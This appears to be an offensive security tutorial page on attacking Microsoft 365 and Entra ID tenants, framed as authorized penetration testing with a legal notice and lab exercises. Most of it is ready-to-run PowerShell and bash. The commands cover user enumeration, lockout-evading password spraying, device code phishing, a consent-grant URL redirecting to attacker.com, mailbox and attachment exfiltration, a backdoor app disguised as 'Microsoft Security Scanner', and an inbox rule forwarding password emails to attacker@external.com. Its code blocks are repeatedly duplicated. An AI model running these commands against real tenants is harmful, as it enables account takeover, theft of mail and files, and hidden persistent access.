SaaS Security
🔥 Advanced

SaaS Security (M365 & Entra ID)

Microsoft 365 and Entra ID (formerly Azure AD) are the identity backbone of most enterprises. Compromising these services often leads to full mailbox access, SharePoint exfiltration, and lateral movement into Azure subscriptions and on-premises Active Directory.

Warning

Legal Notice: Only test M365 tenants you own or have explicit written authorization to assess. Microsoft monitors for suspicious authentication activity and may suspend accounts.

M365 / Entra ID Attack Kill Chain

flowchart LR R["🔍 Recon Tenant Validation User Enumeration"] --> IA["🚪 Initial Access Password Spray Device Code Phish"] IA --> TE["🎫 Token Access Token Refresh Token"] TE --> E["📋 Enumerate Roles / Groups Apps / Permissions"] E --> PE["⬆️ Priv Esc Consent Grants Role Activation"] PE --> EX["📤 Exfiltration eDiscovery SharePoint Dump"] EX --> P["🔒 Persist App Registration Federation Trust"]

Reconnaissance & Enumeration

Tenant Validation & Discovery

Before any attack, confirm the target uses M365/Entra ID and identify the tenant ID.

tenant-discovery.sh
bash
# Validate domain uses M365 (check OpenID configuration)
curl -s "https://login.microsoftonline.com/target.com/.well-known/openid-configuration" | jq '.tenant_id // "Not an M365 tenant"'

# Get tenant ID from domain
curl -s "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration" | jq -r '.issuer'

# Check autodiscover (confirms Exchange Online)
curl -s -o /dev/null -w "%{http_code}" "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" -H "Host: autodiscover.target.com"

# Enumerate tenant via AADInternals (PowerShell)
Import-Module AADInternals
Get-AADIntTenantID -Domain target.com
Get-AADIntLoginInformation -Domain target.com
# Validate domain uses M365 (check OpenID configuration)
curl -s "https://login.microsoftonline.com/target.com/.well-known/openid-configuration" | jq '.tenant_id // "Not an M365 tenant"'

# Get tenant ID from domain
curl -s "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration" | jq -r '.issuer'

# Check autodiscover (confirms Exchange Online)
curl -s -o /dev/null -w "%{http_code}" "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" -H "Host: autodiscover.target.com"

# Enumerate tenant via AADInternals (PowerShell)
Import-Module AADInternals
Get-AADIntTenantID -Domain target.com
Get-AADIntLoginInformation -Domain target.com

User Enumeration

Identify valid email addresses using timing differences and specific error messages in Microsoft login endpoints. These techniques work without authentication.

user-enumeration.sh
bash
# O365Spray — validate domain and enumerate users
python3 o365spray.py --validate --domain target.com
python3 o365spray.py --enum -U users.txt --domain target.com

# TREVORspray — recon and user enumeration
trevorspray --recon target.com
trevorspray --enum -u users.txt --domain target.com

# AADInternals — user enumeration via multiple methods
Import-Module AADInternals

# Method 1: GetCredentialType API (fast, no lockout)
Invoke-AADIntUserEnumerationAsOutsider -UserNameList users.txt -Method GetCredentialType

# Method 2: Autodiscover (works even when GetCredentialType is disabled)
Invoke-AADIntUserEnumerationAsOutsider -UserNameList users.txt -Method Autodiscover

# TeamFiltration — enumerate via Microsoft Teams API
TeamFiltration.exe --enum --domain target.com --userfile users.txt
# O365Spray — validate domain and enumerate users
python3 o365spray.py --validate --domain target.com
python3 o365spray.py --enum -U users.txt --domain target.com

# TREVORspray — recon and user enumeration
trevorspray --recon target.com
trevorspray --enum -u users.txt --domain target.com

# AADInternals — user enumeration via multiple methods
Import-Module AADInternals

# Method 1: GetCredentialType API (fast, no lockout)
Invoke-AADIntUserEnumerationAsOutsider -UserNameList users.txt -Method GetCredentialType

# Method 2: Autodiscover (works even when GetCredentialType is disabled)
Invoke-AADIntUserEnumerationAsOutsider -UserNameList users.txt -Method Autodiscover

# TeamFiltration — enumerate via Microsoft Teams API
TeamFiltration.exe --enum --domain target.com --userfile users.txt

Initial Access

Password Spraying

Warning

Smart Lockout: Entra ID has Smart Lockout enabled by default (10 failed attempts = 60s lockout). Use 1 attempt per user per 70+ minutes to avoid lockouts. Also check if the org uses a custom banned password list.
password-spray.ps1
powershell
# MSOLSpray — classic M365 password spray
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList users.txt -Password "Summer2025!" -URL "https://login.microsoftonline.com"

# TREVORspray — distributed spray with SOCKS proxies (evades IP lockout)
trevorspray -u users.txt -p "Summer2025!" --delay 4200 --jitter 10 \
  --ssh user@proxy1:22 user@proxy2:22 user@proxy3:22

# O365Spray — spray with wait between attempts
python3 o365spray.py --spray -U users.txt -P passwords.txt --domain target.com --rate 1 --safe 70

# MFASweep — identify accounts without MFA after successful password spray
Import-Module MFASweep.ps1
Invoke-MFASweep -Username user@target.com -Password "Summer2025!"
# MSOLSpray — classic M365 password spray
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList users.txt -Password "Summer2025!" -URL "https://login.microsoftonline.com"

# TREVORspray — distributed spray with SOCKS proxies (evades IP lockout)
trevorspray -u users.txt -p "Summer2025!" --delay 4200 --jitter 10 \
  --ssh user@proxy1:22 user@proxy2:22 user@proxy3:22

# O365Spray — spray with wait between attempts
python3 o365spray.py --spray -U users.txt -P passwords.txt --domain target.com --rate 1 --safe 70

# MFASweep — identify accounts without MFA after successful password spray
Import-Module MFASweep.ps1
Invoke-MFASweep -Username user@target.com -Password "Summer2025!"

Device Code Phishing

The OAuth 2.0 device code flow is designed for input-constrained devices. Attackers abuse it by generating a device code, sending the user-facing URL to a victim, and capturing their tokens when they authenticate. This bypasses MFA since the user completes normal authentication.

Device Code Phishing Flow

sequenceDiagram participant A as Attacker participant M as Microsoft Login participant V as Victim A->>M: Request device code M-->>A: Returns code + user URL A->>V: Sends URL via phishing email/Teams V->>M: Opens URL, enters code, authenticates (with MFA) M-->>A: Access token + refresh token A->>M: Uses tokens to access Graph API, Mail, SharePoint
device-code-phishing.ps1
powershell
# TokenTactics — device code phishing for M365 tokens
Import-Module TokenTactics.psd1

# Step 1: Generate device code (send the URL to victim)
$DeviceCode = Get-DeviceCodeFlow -Client MSGraph
# Output: "To sign in, use a web browser to open https://microsoft.com/devicelogin and enter code XXXXXXXX"

# Step 2: Wait for victim to authenticate (poll for tokens)
$Tokens = Wait-DeviceCodeFlow -DeviceCode $DeviceCode

# Step 3: Use the captured tokens
$Tokens.access_token  # JWT for Microsoft Graph
$Tokens.refresh_token  # Long-lived — use to get new access tokens

# Step 4: Access victim's data via Graph API
$Headers = @{ Authorization = "Bearer $($Tokens.access_token)" }
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" -Headers $Headers
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$top=50" -Headers $Headers
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children" -Headers $Headers
# TokenTactics — device code phishing for M365 tokens
Import-Module TokenTactics.psd1

# Step 1: Generate device code (send the URL to victim)
$DeviceCode = Get-DeviceCodeFlow -Client MSGraph
# Output: "To sign in, use a web browser to open https://microsoft.com/devicelogin and enter code XXXXXXXX"

# Step 2: Wait for victim to authenticate (poll for tokens)
$Tokens = Wait-DeviceCodeFlow -DeviceCode $DeviceCode

# Step 3: Use the captured tokens
$Tokens.access_token  # JWT for Microsoft Graph
$Tokens.refresh_token  # Long-lived — use to get new access tokens

# Step 4: Access victim's data via Graph API
$Headers = @{ Authorization = "Bearer $($Tokens.access_token)" }
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" -Headers $Headers
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$top=50" -Headers $Headers
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children" -Headers $Headers

Illicit Consent Grant (OAuth Phishing)

Register a malicious app that requests high-privilege permissions (Mail.Read, Files.ReadWrite.All). Trick a user or admin into granting consent. Once consented, the app has persistent access to their data.

consent-grant-attack.ps1
powershell
# 365-Stealer — automated illicit consent grant attack
# 1. Register app in attacker-controlled tenant with redirect URI
# 2. Craft consent URL:
$consentUrl = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?" +
  "client_id=<ATTACKER_APP_ID>" +
  "&response_type=code" +
  "&redirect_uri=https://attacker.com/callback" +
  "&scope=openid+profile+Mail.Read+Files.ReadWrite.All+offline_access" +
  "&response_mode=query"

# 3. Send $consentUrl to victim (phishing email / Teams message)
# 4. Victim clicks "Accept" → attacker gets auth code → exchange for tokens

# GraphRunner — post-consent exploitation
Import-Module GraphRunner.ps1
# Dump all accessible emails
Invoke-GraphRunner -AccessToken $token -Module DumpMail
# Dump OneDrive/SharePoint files  
Invoke-GraphRunner -AccessToken $token -Module DumpFiles
# 365-Stealer — automated illicit consent grant attack
# 1. Register app in attacker-controlled tenant with redirect URI
# 2. Craft consent URL:
$consentUrl = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?" +
  "client_id=<ATTACKER_APP_ID>" +
  "&response_type=code" +
  "&redirect_uri=https://attacker.com/callback" +
  "&scope=openid+profile+Mail.Read+Files.ReadWrite.All+offline_access" +
  "&response_mode=query"

# 3. Send $consentUrl to victim (phishing email / Teams message)
# 4. Victim clicks "Accept" → attacker gets auth code → exchange for tokens

# GraphRunner — post-consent exploitation
Import-Module GraphRunner.ps1
# Dump all accessible emails
Invoke-GraphRunner -AccessToken $token -Module DumpMail
# Dump OneDrive/SharePoint files  
Invoke-GraphRunner -AccessToken $token -Module DumpFiles

Conditional Access Bypass

Conditional Access Policies (CAPs) are the primary defense layer in Entra ID. Understanding their gaps is critical for assessments.

Common CAP Gaps

  • Legacy auth protocols not blocked (IMAP, POP3, SMTP AUTH)
  • IPv6 addresses not included in named locations
  • Service principals excluded from MFA policies
  • Break-glass accounts overprivileged and poorly monitored
  • Device compliance only on "All Apps" not enforced on all client apps

Bypass Techniques

  • User-Agent spoofing: legacy clients like BAV2ROPC
  • IPv6 tunneling: bypass IPv4-only named location rules
  • Device code flow: victim authenticates, bypasses location policy
  • ROPC flow: Resource Owner Password Credential (if legacy auth enabled)
  • Token replay: use captured PRT from compliant device
ca-bypass.ps1
powershell
# Test for legacy auth protocols (IMAP/POP3/SMTP)
# If Conditional Access doesn't block these, passwords work without MFA
Import-Module MFASweep.ps1
Invoke-MFASweep -Username user@target.com -Password "Password123"
# Tests: ActiveSync, Autodiscover, MAPI, EWS, OWA, ROPC, EAS

# ROPC flow — authenticate without interactive login (bypasses device-based CA)
$body = @{
    grant_type = "password"
    username   = "user@target.com"
    password   = "Password123"
    client_id  = "1b730954-1685-4b74-9bfd-dac224a7b894"  # Azure PowerShell
    scope      = "https://graph.microsoft.com/.default"
}
$response = Invoke-RestMethod -Method Post \
  -Uri "https://login.microsoftonline.com/target.com/oauth2/v2.0/token" \
  -Body $body
$response.access_token
# Test for legacy auth protocols (IMAP/POP3/SMTP)
# If Conditional Access doesn't block these, passwords work without MFA
Import-Module MFASweep.ps1
Invoke-MFASweep -Username user@target.com -Password "Password123"
# Tests: ActiveSync, Autodiscover, MAPI, EWS, OWA, ROPC, EAS

# ROPC flow — authenticate without interactive login (bypasses device-based CA)
$body = @{
    grant_type = "password"
    username   = "user@target.com"
    password   = "Password123"
    client_id  = "1b730954-1685-4b74-9bfd-dac224a7b894"  # Azure PowerShell
    scope      = "https://graph.microsoft.com/.default"
}
$response = Invoke-RestMethod -Method Post \
  -Uri "https://login.microsoftonline.com/target.com/oauth2/v2.0/token" \
  -Body $body
$response.access_token

Post-Exploitation

Email & Data Exfiltration

graph-exfiltration.ps1
powershell
# Microsoft Graph API — read emails
$headers = @{ Authorization = "Bearer $accessToken" }

# Get recent messages
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$top=100&$select=subject,from,receivedDateTime" \
  -Headers $headers | Select-Object -ExpandProperty value | Format-Table

# Search for sensitive keywords across mailbox
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$search="password OR secret OR credential"" \
  -Headers $headers

# Download all attachments
$messages = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$filter=hasAttachments eq true&$top=50" \
  -Headers $headers).value
foreach ($msg in $messages) {
    $attachments = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages/$($msg.id)/attachments" \
      -Headers $headers).value
    foreach ($att in $attachments) {
        [IO.File]::WriteAllBytes("./exfil/$($att.name)", [Convert]::FromBase64String($att.contentBytes))
    }
}

# Download OneDrive files
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children" -Headers $headers
# Microsoft Graph API — read emails
$headers = @{ Authorization = "Bearer $accessToken" }

# Get recent messages
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$top=100&$select=subject,from,receivedDateTime" \
  -Headers $headers | Select-Object -ExpandProperty value | Format-Table

# Search for sensitive keywords across mailbox
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$search="password OR secret OR credential"" \
  -Headers $headers

# Download all attachments
$messages = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages?$filter=hasAttachments eq true&$top=50" \
  -Headers $headers).value
foreach ($msg in $messages) {
    $attachments = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages/$($msg.id)/attachments" \
      -Headers $headers).value
    foreach ($att in $attachments) {
        [IO.File]::WriteAllBytes("./exfil/$($att.name)", [Convert]::FromBase64String($att.contentBytes))
    }
}

# Download OneDrive files
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children" -Headers $headers

SharePoint & Teams Enumeration

sharepoint-teams-enum.ps1
powershell
# Enumerate SharePoint sites accessible to compromised user
$headers = @{ Authorization = "Bearer $accessToken" }
$sites = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/sites?search=*" -Headers $headers).value
$sites | ForEach-Object { Write-Host "$($_.displayName)$($_.webUrl)" }

# Enumerate Teams and channels
$teams = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/joinedTeams" -Headers $headers).value
foreach ($team in $teams) {
    Write-Host "[Team] $($team.displayName)"
    $channels = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/teams/$($team.id)/channels" -Headers $headers).value
    foreach ($ch in $channels) { Write-Host "  [Channel] $($ch.displayName)" }
}

# Search across all M365 content (requires Search.Read.All)
$searchBody = @{
    requests = @(@{
        entityTypes = @("message", "driveItem", "listItem", "site")
        query = @{ queryString = "password OR secret OR API key" }
        from = 0; size = 25
    })
} | ConvertTo-Json -Depth 5
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/search/query" -Headers $headers -Method Post \
  -Body $searchBody -ContentType "application/json"
# Enumerate SharePoint sites accessible to compromised user
$headers = @{ Authorization = "Bearer $accessToken" }
$sites = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/sites?search=*" -Headers $headers).value
$sites | ForEach-Object { Write-Host "$($_.displayName)$($_.webUrl)" }

# Enumerate Teams and channels
$teams = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/joinedTeams" -Headers $headers).value
foreach ($team in $teams) {
    Write-Host "[Team] $($team.displayName)"
    $channels = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/teams/$($team.id)/channels" -Headers $headers).value
    foreach ($ch in $channels) { Write-Host "  [Channel] $($ch.displayName)" }
}

# Search across all M365 content (requires Search.Read.All)
$searchBody = @{
    requests = @(@{
        entityTypes = @("message", "driveItem", "listItem", "site")
        query = @{ queryString = "password OR secret OR API key" }
        from = 0; size = 25
    })
} | ConvertTo-Json -Depth 5
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/search/query" -Headers $headers -Method Post \
  -Body $searchBody -ContentType "application/json"

eDiscovery (Compliance Search)

If the compromised account has eDiscovery Manager or Compliance Administrator role, you can search all mailboxes, SharePoint sites, and Teams conversations in the tenant.

ediscovery-search.ps1
powershell
# Connect to Security & Compliance center
Connect-IPPSSession -UserPrincipalName admin@target.com

# Create a compliance search across all mailboxes
New-ComplianceSearch -Name "PenTest-Search" -ExchangeLocation All \
  -ContentMatchQuery '(subject:"password" OR body:"API key" OR body:"secret")'
Start-ComplianceSearch -Identity "PenTest-Search"

# Check status and preview results
Get-ComplianceSearch -Identity "PenTest-Search" | Format-List Name, Status, Items

# Export results (requires eDiscovery Manager role)
New-ComplianceSearchAction -SearchName "PenTest-Search" -Export -Format FxStream

# Clean up after assessment
Remove-ComplianceSearch -Identity "PenTest-Search" -Confirm:$false
# Connect to Security & Compliance center
Connect-IPPSSession -UserPrincipalName admin@target.com

# Create a compliance search across all mailboxes
New-ComplianceSearch -Name "PenTest-Search" -ExchangeLocation All \
  -ContentMatchQuery '(subject:"password" OR body:"API key" OR body:"secret")'
Start-ComplianceSearch -Identity "PenTest-Search"

# Check status and preview results
Get-ComplianceSearch -Identity "PenTest-Search" | Format-List Name, Status, Items

# Export results (requires eDiscovery Manager role)
New-ComplianceSearchAction -SearchName "PenTest-Search" -Export -Format FxStream

# Clean up after assessment
Remove-ComplianceSearch -Identity "PenTest-Search" -Confirm:$false

Persistence Techniques

App Registration Backdoor

Register app with Mail.Read + Files.Read.All, add client secret. Survives password resets.

Federation Trust

Add attacker-controlled IDP as federated domain. Mint SAML tokens for any user.

Inbox Rule Persistence

Create hidden inbox rule that forwards sensitive emails to external address.

Admin Consent Grant

Grant tenant-wide consent to attacker app. Reads all users' mail without per-user auth.

persistence.ps1
powershell
# App Registration backdoor — create a persistent application credential
# Step 1: Register a new application (requires Application.ReadWrite.All)
$app = New-AzADApplication -DisplayName "Microsoft Security Scanner" \
  -ReplyUrls "https://localhost"

# Step 2: Add a client secret (valid for 2 years)
$secret = New-AzADAppCredential -ObjectId $app.Id -EndDate (Get-Date).AddYears(2)
Write-Host "App ID: $($app.AppId)"
Write-Host "Secret: $($secret.SecretText)"

# Step 3: Grant API permissions (Graph: Mail.Read, Files.Read.All)
Add-AzADAppPermission -ObjectId $app.Id -ApiId "00000003-0000-0000-c000-000000000000" \
  -Type Role -PermissionId "810c84a8-4a9e-49e6-bf7d-12d183f40d01"  # Mail.Read
Add-AzADAppPermission -ObjectId $app.Id -ApiId "00000003-0000-0000-c000-000000000000" \
  -Type Role -PermissionId "01d4f6a5-1c69-403b-a2e3-0e5ee53e6a27"  # Files.Read.All

# Step 4: Grant admin consent (if you have Global Admin)
# Navigate to: https://login.microsoftonline.com/{tenant}/adminconsent?client_id={app_id}

# Inbox Rule persistence — hidden email forwarding
New-InboxRule -Name "." -Mailbox victim@target.com \
  -ForwardTo "attacker@external.com" \
  -SubjectContainsWords "password","secret","credentials" \
  -MarkAsRead
# App Registration backdoor — create a persistent application credential
# Step 1: Register a new application (requires Application.ReadWrite.All)
$app = New-AzADApplication -DisplayName "Microsoft Security Scanner" \
  -ReplyUrls "https://localhost"

# Step 2: Add a client secret (valid for 2 years)
$secret = New-AzADAppCredential -ObjectId $app.Id -EndDate (Get-Date).AddYears(2)
Write-Host "App ID: $($app.AppId)"
Write-Host "Secret: $($secret.SecretText)"

# Step 3: Grant API permissions (Graph: Mail.Read, Files.Read.All)
Add-AzADAppPermission -ObjectId $app.Id -ApiId "00000003-0000-0000-c000-000000000000" \
  -Type Role -PermissionId "810c84a8-4a9e-49e6-bf7d-12d183f40d01"  # Mail.Read
Add-AzADAppPermission -ObjectId $app.Id -ApiId "00000003-0000-0000-c000-000000000000" \
  -Type Role -PermissionId "01d4f6a5-1c69-403b-a2e3-0e5ee53e6a27"  # Files.Read.All

# Step 4: Grant admin consent (if you have Global Admin)
# Navigate to: https://login.microsoftonline.com/{tenant}/adminconsent?client_id={app_id}

# Inbox Rule persistence — hidden email forwarding
New-InboxRule -Name "." -Mailbox victim@target.com \
  -ForwardTo "attacker@external.com" \
  -SubjectContainsWords "password","secret","credentials" \
  -MarkAsRead

M365 / Entra ID Tools

Tool Category Best For
AADInternals Enumeration / Exploitation Tenant recon, token manipulation, federation abuse
ROADtools Enumeration Full Entra ID dump, interactive GUI explorer
GraphRunner Post-Exploitation Graph API abuse, mail/file dump, permission enum
TokenTactics Token Abuse Device code phishing, token refresh, CAE bypass
MFASweep Authentication Identify accounts/protocols without MFA
TeamFiltration Enumeration / Spray Teams-based user enum, message exfil
TREVORspray Password Spray Distributed spray via SSH proxies
ScubaGear Auditing CISA M365 secure configuration assessment
🎯

M365 / Entra ID Labs

Practice Microsoft 365 attack techniques in safe lab environments.

🔧
Entra ID Enumeration & Password Spray Custom Lab medium
Set up a test M365 tenant (Microsoft 365 Developer Program — free)Enumerate users via AADInternals GetCredentialType and Autodiscover methodsExecute a controlled password spray with TREVORspray (1 attempt per 70 min)Use MFASweep to identify which protocols bypass MFA for successful accountsDocument findings: users without MFA, legacy auth protocols enabled
🔧
Device Code Phishing & Token Abuse Custom Lab hard
Use TokenTactics to generate a device code for Microsoft GraphAuthenticate as the victim in a browser tab (simulating the phish)Capture access and refresh tokens from the device code flowUse the access token to read emails, OneDrive files, and Teams messages via Graph APIRefresh the token to maintain access after the access token expiresInvestigate: does MFA protect against device code phishing?
🔧
Post-Exploitation & Persistence Custom Lab hard
With a compromised admin account, register a malicious applicationGrant the application Mail.Read and Files.Read.All permissions with admin consentUse the app to access another user's mailbox and OneDrive without their credentialsCreate an inbox rule that forwards emails containing keywords to an external addressRun ScubaGear to audit the tenant's security configuration and identify gapsRemediate: revoke app consent, remove inbox rule, review Conditional Access policies